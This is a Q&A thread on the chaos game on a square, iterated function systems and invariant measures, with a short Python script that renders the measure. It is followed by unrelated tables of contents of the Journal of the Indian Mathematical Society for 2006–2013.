To be a bit more clear, an invariant set of an IFS is a compact set $E\subset\mathbb R^2$ such that $$E = \bigcup_{i=0}^4 f_i(E).$$ It's pretty easy to see that the square with vertices at the points $(-2,0)$, $(0,-2)$, $(2,0)$, and $(0,2)$ is an invariant set for this IFS. It can be shown that an IFS of contractions always has a unique invariant set; thus, this square is the only invariant set for this IFS.
Let's call this square $E$, in honor of its status as an invariant set. We can get a deterministic understanding of the distribution of points on $E$ by thinking in terms of a mass distribution on the square (technically, a measure). Start with a uniform mass distribution throughout the square. Generate a second mass distribution on $E$ by distributing $1/3$ of the mass to $f_0(E)$ and $1/6$ of the mass to each of $f_i(E)$ for $i=1,2,3,4$. We can then iterate this procedure. The step from the original distribution to the next to the next might look like so:
The evolution of the first 8 steps looks like
• A "solid square"? Surely this process can only produce points with dyadic rational coordinates. – David Zhang May 22 '16 at 15:09
• @DavidZhang I agree, but there is a limiting object. – Mark McClure May 22 '16 at 15:10
• If you remove the first generator, you get the same square, just with a uniform distribution – John Dvorak May 22 '16 at 17:56
• @DavidZhang Surely, my 'limiting object' comment makes perfect sense? The square in question is just the closure of that set of dyadic points. Similarly, the closed unit interval can be described at the attractor of the IFS with functions $f_1(x)=x/2$ and $f_2(x)=x/2+1/2$. But, if we play the chaos game starting at the origin, we can generate only dyadic rationals. Similarly, the classic chaos game that generates the Sierpinski triangle approximates that uncountable set with only countably many points. This is pretty fundamental. – Mark McClure May 22 '16 at 20:04
• @MarkMcClure Oh yes, your first comment made perfect sense. I just hadn't gotten around to replying until now, thanks. – David Zhang May 23 '16 at 0:56
As others have noted, what you're describing is an iterated function system — specifically, a system of affine contraction maps — which is a common way of constructing self-similar fractals. In particular, it can be written as a system consisting of the following five maps:
\begin{aligned} (x,y) &\mapsto \tfrac12 (x,y) \\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(0,1)\\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(0,-1) \\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(1,0) \\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(-1,0) \\ \end{aligned}
where I've taken the center of your square to be at the origin, and its corners to be at $(\pm 1, \pm 1)$.
Written like this, you can indeed see that each of these maps represents taking the average of the current point $(x,y)$ and some fixed target point. The first map (where the target point is simply the origin) arises whenever the two corners you choose in step 2 are opposite, and is thus twice as likely to be chosen in your randomized iteration as the other four maps, each of which results from picking two corners that are adjacent to each other.
The first, obvious question then is what the fixed set of your iterated function system (i.e. the unique non-empty compact set $S \subset \mathbb R^2$ such that applying each of your affine maps to $S$ and taking the union of the results yields the same set $S$) is. This fixed set is the closure of the limit set obtained by infinitely iterating your function system from any starting point, and thus, in some sense, represents "the" limit shape obtained by iterating your system.
Alas, for your system, the answer is kind of boring: the fixed set is simply a (tilted) square with corners at the top, right, left and bottom of the outer square (i.e. at $(0,\pm1)$ and $(\pm1,0)$ in the parametrization I used above).
The easy way to see that is to observe that the last four maps in your system map this square into four smaller squares that precisely tile the original square (and the first map just produces a square that redundantly overlaps the other four). Another, more rigorous way is to show that any point within this square (and only within this square!) can be approached arbitrarily closely from any starting point by iterating the maps given above in a suitable order.
For this, it helps to rotate, scale and translate the coordinates so that the fixed square (with corners at $(0,\pm1)$ and $(\pm1,0)$) is mapped to the unit square (with corners at $x,y \in \{0,1\}$). With this coordinate transformation, the maps given above become:
\begin{aligned} (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(\tfrac12, \tfrac12)\\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(0,0)\\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(0,1) \\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(1,0) \\ (x,y) &\mapsto \tfrac12 (x,y) + \tfrac12(1,1) \\ \end{aligned}
We can then interpret the last four maps as shifting the binary representation of the coordinates $x$ and $y$ right by one place, and setting the first binary digits after the radix point to one of the four possible combinations. Thus, starting from the origin (which we can approach arbitrarily closely from any starting point just by iterating the second map above), we can reach any point with dyadic rational coordinates — i.e. coordinates whose binary representation terminates — inside the unit square with a finite number of steps. Since the dyadic rationals are dense in the unit square, any point within the square can be approached arbitrarily closely in this way.
(For completeness, we should also show that no point outside the unit square can be a limit of iterating these maps. A simple way to do that is to show that if the point $(x,y)$ lies outside the unit square — i.e. either of $x$ and $y$ is negative or greater than $1$ — then applying any of these maps will move it closer to the unit square.)
So, if the limit of iterating your system is simply a square, why are you seeing all that interesting fractal-looking structure, then?
The reason for that is the redundant first map (the one that just pulls each point closer to the center of the square), which causes some points in the square to be more likely that others to occur during the iteration. Thus, the invariant measure of your iterated function system will not be the uniform measure over the square (like you'd get if you removed the first map from the system). Rather, it ends up looking like this (rotated 45°, like in my transformed system above):
$\hspace{64px}$
The picture above is a discretized approximation of the invariant measure, with the darkness of each pixel being proportional to the probability of the randomly iterated point landing in that pixel. I obtained this picture simply by starting with the uniform measure on the unit square, and repeatedly adding together scaled and translated copies of it. Specifically, I used the following Python code to do this:
import numpy as np
import scipy.ndimage
import scipy.misc
d = 9 # log2(image size)
s = 2**d / 4 # number of pixels to shift first map by
a = np.ones((2**d, 2**d))
# iteration should converge in about d steps; run for 2*d to make sure
for i in range(2*d):
b = scipy.ndimage.zoom(a, 0.5, order=1) * (4/6.0)
a = np.tile(b, (2, 2)) # last four maps just tile the square
a[s:3*s, s:3*s] += 2*b # add first map (twice, since it has higher weight)
scipy.misc.imsave('measure.png', -a) # negate to invert colors
Of course, keep in mind that this is just an approximation of the actual invariant measure, which would seem to be singular.
(If anyone can characterize this measure more explicitly, I'd very much like to see it; the numerical approximation is suggestive, but doesn't really tell much about what really happens in the limit.)
BTW, there do exist actual fractals that resemble your iterated function system. For example, the following system:
\begin{aligned} (x,y) &\mapsto \tfrac13 (x,y) \\ (x,y) &\mapsto \tfrac13 (x,y) + \tfrac23(0,1)\\ (x,y) &\mapsto \tfrac13 (x,y) + \tfrac23(0,-1) \\ (x,y) &\mapsto \tfrac13 (x,y) + \tfrac23(1,0) \\ (x,y) &\mapsto \tfrac13 (x,y) + \tfrac23(-1,0) \\ \end{aligned}
which differs from your original system just by weighing the fixed corner points by twice as much in the average, generates the Vicsek fractal as its fixed set (again, shown rotated by 45° below):
$\hspace{200px}$
The Sierpiński space-filling curve also bears some resemblance to your system: it also has the entire square as its limit set, but the intermediate stages of the construction show a similar fractal-like structure.
• Wow! Thanks a lot for the explanation. – SilverSlash May 23 '16 at 13:34
• @IlmariKaronen The characterization of the measure is complicated by the fact that the IFS has overlaps (technically, the open set condition is not satisfied). This situation has been studied a lot over the last decade or so, though. Sze-Man Ngai has links to quite a few papers on his webpage. The singularity of the measure follows from theorem 1.1 of this paper. – Mark McClure May 23 '16 at 17:46
• By the way: The Vicsek fractal is the universal covering of a figure eight. – Christian Blatter May 31 '16 at 8:13
This is an "iterated function system" or IFS, with $5$ linear functions and their probabilities corresponding to the midpoints of the $6$ equally probable choices of pairs of corners of the square (the two pairs of diagonally opposite corners lead to the same function). The picture is of the attractor or invariant measure of that IFS. So the specific fractal picture probably does not have a name, but there is a name for the process by which it was generated.
The graph looks intriguingly similar to the picture of the free group on $2$ generators.
https://en.wikipedia.org/wiki/Cayley_graph#/media/File:Cayley_graph_of_F2.svg
• Yes, the image can be generated by an IFS. In fact, it can be generated by the specific IFS with specific probabilities presented in the accepted answer. So, I'm not sure what this answer contributes? The "fractal picture" (i.e., the attractor of the IFS) does have a name - it's called a "square". The invariant measure of the IFS with probabilities is concentrated on that looks something like a standard visualization of the free group but I see no logarithmic scale. – Mark McClure May 22 '16 at 17:48
• "I'm not sure what this answer contributes". Since you seem to insist on retaining that comment, here is the reply. (1) this answer is the one that first contributed the terms Iterated Function System and IFS to the thread. You edited that term into the accepted answer after criticizing its appearance in this one. Whatever redundancy exists between the two answers was created by your edit. (2) This answer is (more) explicit about the relation between IFS weights and the probabilities of pairs of corners, which is still not covered in accepted answer. (3) Relation to the free group. – zyx May 23 '16 at 18:24
To better describe your distribution, I will rotate and scale it so that the original square has corners $(0, \pm 2)$, $(\pm 2, 0)$. Let $x_n$ be the point of the $n$-th iteration ($x_0 = (0, 0)$). Then we have $x_{n+1} = \frac{1}{2}(x_n + a_n)$ where $a_n$ is randomly sampled from the multiset $\{(0, 0), (0, 0), (+1, +1), (+1, -1), (-1, +1), (-1, -1)\}$.
It is then a simple exercise of induction to show that $x_n$ is either $(0, 0)$ or of the form $\frac{1}{2^m}(a, b)$ where $m \leq n$, and $a$, $b$ are odd integers with absolute value below $2^m$. In other words, the coordinates are dyadic, with common minimal denominator, and inside the unit square.
A more interesting exercise is to show that this is exactly the support of our distribution.
Indeed, if we restrict ourselves to $a_n \neq (0, 0)$, each coordinate with common minimal denominator $2^m$ can be reached in exactly one way after $m$ iterations (which would give a uniform distribution on the support, converging to a uniform distribution on the unit square). Hint: Work backwards from $x_m$ to $x_0 = (0, 0)$.
Coming back to our original situation, after solving for $x_n$: $$x_n = \sum_{k=0}^{n-1} 2^{k-n} a_k,$$ we can easily compute, approximate and sketch its distribution.
Indeed, denoting by $\alpha$ the distribution of $a_k$ and by $\xi_n$ the distribution of $x_n$, the above equation means $$\xi_n = \sum_{k=1}^n 2^{-k}\alpha,$$ where sum of distributions represents the distribution of the sum of independent variables.
From that we arrive at the essential property $$\xi_{m+n} = \xi_m + 2^{-m}\xi_n.$$
This property is useful in several ways. For instance, we can iteratively compute/sketch $\xi_8$ from $\xi_4$. Also, it shows that $\xi_m$ approximates $\xi_n$ for arbitrarily large $n$ to precision $2^{-m}$.
Finally, it shows that the limiting distribution satisfies $$\xi = \alpha + \frac{1}{2}\xi,$$ which characterises it as self-similar with base pattern $\alpha$.
Note: Your original plot is not exactly the result of independently sampling from $\xi_n$, but the path to $x_N$ for some large $N$. However, the result is almost the same.
Indeed, after the first few samples, every point's distribution approximates $\xi$, and, from the equation for $x_n$, we can see that only the latest terms are relevant, which means that samples will be approximately independent unless they are very close.
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the National Mathematics Year - 2012.
(published in December, 2013; Guest Editor: A. K. Agarwal)
Sr. No. Author Title of the Paper pages 1. S, D. Adhikari. Schur's theorem in combinatorial number theory: some generalizations. 01 - 10 2. S. Bhargava. A summary of Bhargava's selected publications related to Ramanujan's work. 11 - 32 3. Michael D. Hirschhorn My contact with Ramanujan. 33 - 43 4. Jeremy Lovejoy and Robert Osburn. Mixed mock modular q-series. 45 - 61 5. A. M. Mathai. Ramanujan's Hypergeometric function with matrix argument. 63 - 72 6. M. Ram Murty. Ramanujan and the Zeta function. 73 - 91 7. Neville Robins. Inspired by Ramanujan. 93 - 96 8. J. A. Sellers. An unexpected congruence Modulo 5 for 4-coloured generalized Frobenius partitions. 97 - 103
CONTENTS of the Journal of the Indian Math. Soc. Vol. 80, Nos. 3 - 4, July - December, (2013):
(published in July, 2013).
Sr. No. Author Title of the Paper pages 19. P. Baliarsingh and S. Dutta. On the class of new difference sequence spaces. 203-211 20. R. K. Bisht. A common fixed point theorem under a non-Lipschitzian type condition. 213-220 21. Y. M. Borse and B. N. Waphare On removable and non-separating even cycles in graphs. 221-234 22. J. N. Chaudhary. 2-absorbing ideals in the semi-ring of non negative integers. 235-241 23. Ajit De. Computation of synthetic seismogram in a burried elliptic in plane shear dislocation model in an elastic half-space. 243-263 24. S. K. Kango and G. C. Rana. Stability of two superposed Rivlin-Erickson viscoelastic fluids in the presence of suspended particles and variable magnetic field in porous medium. 265-274 25. Makoto Minamide. On zeros of the derivative of the modified Selberg zeta function for the modular group. 275-312 26. Shyamapada Modak. Grill-filter space. 313-320 27. N. Pankajam and A. Pushpalatha. Prefilters in intuitionistic fuzzy topological spaces. 321-328 28. Gauree Shankar and Ravindra. On the hypersurface of a Finsler space with the special (a, b)-metric a+b+(b^(n+1)/a^n). 329-339 29. P. K. Sharma and M. Yamin. Relative Relation modules of SL(2, p) and PSL(2, p) groups. 341-348 30. K. J. Shinde and S. M. Padhye. Comparision theorem for limit point case and limit circle case of singular Sturm-Liouville differential operators. 349-355 31. Baljeet Singh and Renu Sheoran. Propagation of surface waves in an anisotropic two-temperature generalized thermoelastic medium. 357-365 32. Dinesh Singh and Renu Jain. Fractional kinetic equation with a generalized Lauricella confluent hypergeometric function in their kernels. 367-372 33. S. K. Srivastava and Bhanu Gupta. Existence of non-linear fuzzy differential equations with impulses. 373-384 34. W. T. Sulaiman. Absolute summability factors involving quasi-f-power increasing sequences. 385-394 35. Feng-Zhen Zhao. The log-convexity of Cauchy numbers. 395-403
CONTENTS of the Journal of the Indian Math. Soc. Vol. 80, Nos. 1 - 2, January - June, (2013):
(published in January, 2013) .
Sr. No. Author Title of the Paper Pages 1. Indu Bala. On Cesaro sequence space defined by a modulus function in a seminormed space. 01 - 09 2. James Camacho Jr. Outer and inner lattice measures. 11 - 21 3. Ramesh Chand. Thermal instability of rotating Maxwell visco-elastic fluid with variable gravity in porous medium. 23 - 31 4. Peter V. Danchev. On weakly w1-p^(w+n)-projective abelian p-groups. 33 - 46 5. P. Dheena and C. Jenila. Additively and multiplicatively inverse near-semirings. 47 - 55 6. S. A. Episkoposian and T. M. Grigorian. A representations of functions from L1-mu class by series with monotonic coefficients concerning Haar systems. 57 - 68 7. U. C. Gairola and A. S. Rawat. A fixed point theorem for non-continuous maps satisfying integral type inequality 69 - 77 8. Said R. Grace, Sandra Pinelas and Ravi P. Agarwal. Oscillation criteria for nth order nonlinear dynamic equations on time-scales. 79 - 85 9. Shyam Lal and Abhishek Mishra. The method of summation (E; 1) (N; pn) and trigonometric approximation of functions in generalized Holder metric. 87 - 98 10. Lin Li and Shapour Heidarkhani. Multiplicity solutions to a doubly eigenvalue fourth-order equation. 99-110 11. T. D. Narang . On approximative compactness. 111-119 12. Figen Oke . On existence of residual transcendental extensions of valuations on K to K(x1, .... ,xn). 121-125 13. B. D. Pant, M. Abbas and S. Chauhan. Coincidences and common fixed points of weakly compatible mappings in Menger spaces. 127-139 14. V. D. Pathak and U. M. Pirzada. Necessary and sufficient optimality conditions for nonlinear unconstrained fuzzy optimization problem. 141-155 15. B. G. Prasad, Rajnishkumar and Rajshekhar Prasad. MHD forced convection with laminar pulsating flow in a saturated porous channel. 157-171 16. G. C. Rana and V. Sharma. Stability of stratified Rivlin–Ericksen fluid permeated with suspended particles and uniform horizontal magnetic field in porous medium. 173-182 17. G. S. Saluja. Convergence theorems of finite steps iterative sequences with mean errors for generalized asymptotically quasi-nonexpansive mappings. 183-196 18. Kishan Sharma. A method for the solution of fractional kinetic equations. 197-201
CONTENTS of the Journal of the Indian Math. Soc. Vol. 79, Nos. 1 - 4 (2012):
Sr. No. Author Title of the Paper Pages 1. R. K. Bisht and Common fixed point theorems of weakly reciprocally continuous maps. 01 - 12 2. A. Boussejra and Fouzia El Wassouli. Characterization of the LP -range of the poisson transform in the bounded domain of type IV. 13 - 23 3. J. N. Chaudhari and D. R. Bonde. A note on quotient semimodules over semirings. 25 - 31 4. J. N. Chaudhari and K. J. Ingale A note on ideals in the semiring Z+0. 33 - 39 5. L. John and A. N. Padma Kumari. Semigroup theoretic study of Cayley graphs of Rees matrix semigroups. 41 - 54 6. Vinayak Joshi. A note on balanced lattices. 55 - 60 7. Vinayak Joshi and B. N. Waphare. On characterizations of strong posets. 61 - 71 8. S. S. Khare. Span of the wall manifolds. 73 - 80 9. Sanjay Kumar. Common fixed points for weakly compatible maps along with property (E.A.). 81 - 95 10. Tongxing Li, Ravi P. Agarwal and Martin Bohner. Some oscillation results for secondorder neutral differential equations. 97 - 106 11. Anjan Mukherjee and Subrata Bhowmik. Norm and operators on partial groupoids. 107-120 12. Mamoru Nunokawa, Neslihan Uyanik, Shigeyoshi Owa, Hitoshi Saitoh and H. M. Srivastava. New condition for univalence of certain analytic functions. 121-125 13. B. D. Pant, S. Chauhan and B. Fisher. Fixed point theorems for families of occasionally weakly compatible mappings. 127-138 14. Pulak Sahoo. Uniqueness theorem for nonlinear differential polynomials sharing a small function 139-152 15. S. H. Rasouli and G. A. Afrouzi. A note on the existence of positive solution for a class of nonlinear Laplacian system with multiple parameters and sign-changing weight. 153-159 16. T. Ram Reddy and D. Vamshee Krishna. Hankel determinant for starlike and convex functions with respect to symmetric points. 161-171 17. S. K. Sharma and Renu Jain Lie theoretic origin of basic analogue of Meijer’s g-function. 173-183 18. W. T. Sulaiman. Extensions of Steffensen’s q-inequality. 185-191 19. W. T. Sulaiman. Quasi-power increasing sequences for generalized absolute summability. 193-200 20. Bankteshwar Tiwari. On Landsberg spaces with some generalised T'-conditions. 201-208 21. M. Velrajan. Fuzzy substructures. 209-218 22. R. G. Vyas and K. N. Darji. On multiple Walsh Fourier coefficients. 219-228
CONTENTS of the Journal of the Indian Math. Soc. Vol. 78, Nos. 1 - 4 (2011):
Sr. No. Author Title of the Paper Pages 1. Varghese Abraham. Independence in hypergraphs. 01 - 07 2. V. H. Badshah and Yogita R. Sharma. Fixed point theorem in orbitally complete Hausdorff uniform space and hyperspace. 09 - 13 3. A. Basu, P. K. Saha and M. Sen. Further characterizations of interval tournaments. 15 - 26 4. R. Y. Denis, S. N. Singh and S. P. Singh On certain q-series identitites. 27 - 34 5. M. Dube and S. Sanyal. Shape preserving G^2-rational cubic trigonometric spline. 35 - 43 6. Said R. Grace, Ravi P. Agarwal and Donal O'regan. Oscillation criteria via inequalities for second order dynamic inclusions. 45 - 52 7. R. S. Indu and L. John. Principal ideal graphs of full transformation semigroup 53 - 57 8. V. K. Jain. Generalization of a result involving maximum moduli of self-inversive polynomial and its derivative. 59 - 64 9. S. K. Kango, Vikram Singh and G. C. Rana. Thermosolutal instability in Walter's B'fluid in the presence of Hall currents in porous medium in hydromagnetics. 65 - 77 10. D. R. Kuiry. On Hartman-and-neutral-point type MHD flow in a duct. 79 - 85 11. Arun Kumar and V. N. Jha. Error bounds of quartic spline interpolation. 87 - 92 12. Shyam Lal. On the approximation of function f(x,y) belonging to Lipschitz class by matrix summability method of double Fourier series. 93-101 13. Mursaleen and S. A. Mohiuddin. Absolute sigma-convergence and matrix transformations for double sequences. 103-115 14. Mursaleen and S. A. Mohiuddin. Banach limit and some new spces of double sequences II 117-130 15. T. D. Narang and S. Chandok. On continuity of the best approximation map and fixed point theorems. 131-136 16. Manjil P. Saikia and Jure Vogrinc. Binomial symbols and Prime modulli. 137-143 17. M. M. Shikare, G. Azadi and B. N. Waphare Generalized splitting operation for binary matroids and its applications. 145-154 18. Seema Rani, Inderjit Singh and Pankaj Kumar. Quadratic residues codes of prime power length over Z4. 155-161 19. S. H. Rasouli and G. A. Afrouzi. On the existence, nonexistence and uniqueness of positive weak solutions for nonlinear multiparameter elliptic systems involving the (p, q)-Laplacian. 163-172 20. Gurucharan Singh Saluja. Strong convergence theorems for asymptotically quasi-nonexpansive type mappings in convex metric spaces. 173-184 21. W. T. Sulaiman. New kinds of q-integral inequalities. 185-192 22. Kuei-Lin Tseng, Ming-In Ho, Hui-Cheng Tsai and Sever S. Dragomir. Some Refinements of Fejer's inequality. 193-206 23. Mihai Turinici Ran-Reurings Theorems in ordered metric spaces. 207-214 24. R. G. Vyas. A note on functions of p(n)-lemda-bounded variation. 215-220
CONTENTS of the Journal of the Indian Math. Soc. Vol. 77, Nos. 1 - 4 (2010):
Sr. No. Author Title of the Paper Pages 1. S. K. Bhambri and M. K. Dubey. On Commutative Diagrams of semimodules and k-projective semimodules. 01 - 12 2. Sunny Chauhan and B. D. Pant. Common Fixed Point Theorems for occassionally weakly compatible mappings using implicit relation. 13 - 21 3. Renu Chugh and Anju Rani Fixed Points for weakly compatible maps in intuitionistic Fuzzy Metric paces through conditions of integral type. 23 - 36 4. G. Das, B. K. Ray and K. M. Sahu Almost convergence of Conjugate series. 37 - 45 5. Remy Y. Dennis, S. N. Singh and S. P. Singh On certain Special transformation involving basic hypergeometric functions. 47 - 55 6. Yun Gao and Jining Gao. Some sufficient conditions of a given series with rational terms converging to an irrational number or a transcendental number. 57 - 66 7. Hisatoshi Ikai. An explicit formula for Caley-Lipschitz Transformations 67 - 76 8. Sanjeev Kumar, Veena Sharma Kamal Kishore. Magnatogravitational instability of a thermally conducting rotating Rivlin-Erickson fluid with hall current. 77 - 88 9. Padma Murali and Rajiv Kumar. A Mathematical Model of Microbial growth in a chemostate. 89-116 10. Ramesh Kumar Muthumalai. On some definite integrals connecting with certain infinite series. 117-128 11. Dhruwa Narain, Sunil Yadav and Ajai Srivastava. On semi parallel and weyl-semi parallel LP-Sasakian Hypersurfaces of Kahler manifolds. 129-139 12. D. Pandey, Kamesh Kumar and M. K. Sharma. A diagnostic decision model based on vague sets. 141-157 13. R. Rangarajan and H. Muneer Basha. Numerical-analytic Methods for nonlinear diffusion type differential equations of heat transfer. 159-166 14. Ch. Purnachandra Rao. Optimality in non-smooth multiobjective fractional programming with (p, B)-invexity and its generalizations. 167-178 15. J. P. Sharma, D. P. Jayapandian, Shalini and Sanish Thomas. Transformations of the Equations of Equilibrium for isothermal plane-symmetric configuration. 179-185 16. W. T. Sulaiman. A note on several new integral inequalities. 187-193 17. S. K. Sunanda, C. Nahak and S. Nanda. A new generalization of Hardy-Hilbert's inequality. 195-206 18. Sandeep Kumar Tewari and Dinesh Kumar Kachhara. Degree of Approximation by Norlund summability means of laguerre series. 207-213 19. M. P. Wasadikar and S. K. Nimbhorkar. On graphs derived from posets. 215-222
CONTENTS of the Journal of the Indian Math. Soc. Vol. 76, Nos. 1 - 4 (2009):
Sr. No. Author Title of the Paper Pages 1. S. C. Arora, J. K. Kohli and Durgesh Kumar. Common Fixed Point Theorems for Weakly compatible mappings defined on Uniform spaces. 01 - 10 2. S. P. Bhatta and H. S. Ramananda. A note on Modular pairs and orthomodularity in Posets 11 - 18 3. T. Boni, Diabate Nabongo and Roger B. Seryz Quenching time of the solution of a semilinear heat equation in a large domain. 19 - 29 4. Y. M. Borse and B. N. Waphare On removable cycles in connected graphs. 31 - 46 5. Namita Dasl The Berezin Transform of Bounded Linear Operators. 47 - 60 6. Vishnu Gupta and J. N. Chaudhari. On some regularity in semirings. 61 - 68 7. V. A. Hiremath and Poonam M. Shanbhag. On Wnil-Injectivity. 69 - 73 8. Arun Kumar and Karun Lata Shukla. Comparision of some Totally stronger Matrix Methods. 75 - 81 9. Sanjay Kumar. Common Fixed Points on different variants of R-Weak Commutativity mappings in Fuzzy Metric Spaces. 83 - 92 10. Suneel Kumar. Common Fixed Point Theorems in Intuitionistic Fuzzy Metric spaces using property (E. A) 93-104 11. R. Murugesu and S. Suguna Nonlocal Cauchy Problem for fractional nonlinear Integrodifferential equations. 105-112 12. S. Nanda. A nonlinear complementarity problem in semi-inner-product space. 113-117 13. R. P. Pant, D. Arora and R. K. Bisht. Induced Metrics and comparision of contraction mappings.. 119-128 14. M. Rangamma, G. Mallikarjun Reddy and P. Srikantha Rao. Common Fixed Point Theorems for Six self mappings in Fuzzy Metric Spaces and under compatibility of Type (beta). 129-140 15. R. N. Rath, P. P. Mishra and L. N. Padhy. Bounded Oscillations and Convergence of Solutions in a neutral Differential Equation with Oscillating coefficients. 141-150 16. S. K. Sharma and Renu Jain. On Symmetry Operators and Canonical Equations for basic analogue of Meijer's G-Function. 151-158 17. W. T. Sulaiman. Some extension of Hardy-Hilbert's integral inequality. 159-167 18. B. Tewari. On generalized Lagrange spaces and corresponding Lagrange spaces arising from a generalized Finsler space. 169-176 19. B. B. Waphare. Characterization of the Besov-Hankel Type Spaces. 177-186 20. B. B. Waphare. The Pseudo-differential type operator and Hankel Type Transformation associated with Bessel Type operator. 187-200
CONTENT of the Journal of the Indian Math. Soc. Vol. 75, Nos. 1 - 4 (2008):
Sr. No. Author Title of the Paper Pages 1. Pawan K. Jain and Suket Kumar Generalized Discrete Hardy-Type Inequalities. 1 - 13 2. N. D. Soner, S. Ghobadi and K. M. Yogeesha The Nonsplit Edge Domination Number of a Graph. 15 - 20 3. Wuyungaowa and Tianming Wang Asymptotic Expansions For Inverse Moments of Binomial Distribution. 21 - 28 4. Vishnu Gupta and J N Chaudhary A Note on Homomorphism of Semirings. 29-35 5. Sanjay Jain and Adarsh Mangal Extended Gauss Elimination Technique for Integer Solution of a Linear Fractional Programming. 37-46 6. S. S. Khare Span of Milnor Manifolds 47-57 7. Novriana Sumarti and J. R. Cash Implicit Interpolation in the Solution of Stiff Two-point Boundary Value Problems using Lobatto Formulae. 59-74 8. Y. M. Borse and B. N. Waphare Vertex Disjoint Non-Separating Cycles in Graphs. 75-92 9. B. L. Ghodadra On the Magnitude of Vilenkin Fourier Coefficients. 93-104 10. Seema Mehra and Renu Chugh Fixed Points in Institutionistic Generalized Fuzzy Metric Space Through Semi-compatibility 105-124 11. G. Das, B. K. Ray and K. M. Sahu Almost Convergence of Fourier Series 125-132 12. Sanghmitra Beuria, G. Das and B. K. Ray On the |z, Alpha, Beta| summability of successively derived Fourier Series and its Conjugate Series. 133-150 13. N. S. Bhave, B. Y. Bam and C. M. Deshpande A Characterization of Degree Sequences of Linear Hypergraphs. 151-160 14. S. K. Kaushik, Ghanshyam Singh and Virender On Stability of Frames in Conjugate Banach Spaces. 161-172 15. K. R. Vasuki On Certain Ramanujan-Weber Type Modular Equations. 173-192 16. Claudia F. R. Concordido and Dinamerico P. Pombo Jr. On Exact Diagrams of Linear Mappings between Spaces of Normal Series. 193-201
CONTENT of the Journal of the Indian Math. Soc. ( The Special Volume on the Occasion of the Centenary year of IMS ) 1907 - 2007. (2007):
Sr. No. Author Title of the Paper Pages 01. Shreeram S. Abhyankar Newton's Theorem. 001 - 009 02. A. K. Agarwal and M. Rana Two new Combinatorial Interpretations of a Fifth order Mock Theta Function. 011-024 03. Remy Y. Dennis, S. N. Singh and S. P. Singh On Hypergeometric Functions and Ramanujan's Continued Fractions. 025-050 04. A. Anthony Eldred and P. Veeramani On Best Proximity Pair Solutions with Applications to Differential Equations. 051-062 05. M. Hartl, R. Mikhailov and I. B. S. Passi Dimension Quotients. 063-107 06. Robert E. Jemison A Conflict-Tolerance Paradigm for Representations of Graphs. 109-129 07. D. V. Pai Continuity of the Restricted Center Multifunction. 131-148 08. Ken Ono Lehmer's Conjecture on Ramanujan's Tau-Function. 149-163 09. Satya Deo and David Gauld Eventually Constant Spaces and Nonmetrizable Homology Speres. 165-175 10. K. Varadarajan IBN and related properties for Rings and their analogues for Modules. 177-194
CONTENT of the Journal of the Indian Math. Soc. Vol. 74, Nos. 3 - 4, July - December, (2007):
Sr. No. Author Title of the Paper Pages 01. Hongmei Liu and Tianming Wang Some Identities of the Rogers-Ramanujan-Baily Type. 125-131 02. Akhilesh Prasad. Multiplication of Pseudo-Differential Operators involving Hankel convolution. 133-145 03. G. P. Tripathi and Nanda Lal Thin Composition Operators and Compact differences of Operators on l^2. 147-154 04. K. K. Rai Composition operators on l^2 satisfying the Daugavet equation and Norm equation 155-166 05. S. S. Bhoosnurmath and A. J. Patil. On the Growth and Value distribution of Meromorphic Functions and their Differential Polynomials. 167-184 06. M. M. Shikare, H. Azanchiler and B. N. Waphare. The Cocircuits of Splitting Matroids. 185-202 07. O. Ratnabala Devi. Intuitionistic Fuzzy Near-Rings and its Proprties. 203-219 08. P. Dheena and B. Elavarsan Prime Bi-Ideals in Ternary Semiring. 221-227 09. G. S. Saluja. Strong Convergence of Finite family with errors for Non-Lipschitzian Mappings. 229-240
CONTENT of the Journal of the Indian Math. Soc. Vol. 74, Nos. 1 - 2, January - June, (2007):
Sr. No. Author Title of the Paper Pages 01. R. P. Pant and V. P. Pande On a Theorem of Weakly Compatible Maps in Metric Spaces 001 - 004 02. Nand Lal and Kamlesh Kumar Rai Spectrum of Certain Non-surjective Composition Operators on l2 005-011 03. Vyomesh Pant Common Fixed Points in Fuzzy Metric Space 013-017 04. Vyomesh Pant Generalization of Meir- Keeler type Fixed Point Theorems for Sequences of Maps 019-023 05. S. Jain, V. K. Jain and A. Verma Some Quadratic and Cubic Summation Formulae 025-036 06. P. Dheena and A. Sudha Regularity on po-Gamma Semigroups and its multipliers 037-045 07. Satya Prakash Singh Certain Results involving Lambert Series and Continued Fractions-II 047-053 08. M. P. Wasadikar A Structure Theorem for Complete Infinitely Distributive Atomistic Lattices 055-057 09. Sarjoo Prasad Yadav Some Lebesgue Subspaces Approximable by Jacobi Polynomials 059-069 10. V. K. Jain Generalizations of Certain Results on the Zeros of Certain Composite Polynomials 071-082 11. Deshna Loonker and P. K. Banerjee Mellin Transform of Fractional Integrals for integrable Boehmians 083-089 12. Remy Y. Dennis, S. N. Singh and S. P. Singh On Proof of Certain Theta Function Identities of Ramanujan 091-103 13. Remy Y. Dennis, S. N. Singh and S. P. Singh On Certain Transformations involving Truncated q-Series 105-114 14. Dennis Nemzer Paley-Wiener Theorems for Trigonometric Series 115-123
CONTENT of the Journal of the Indian Math. Soc. Vol. 73, Nos. 3 - 4 (2006):
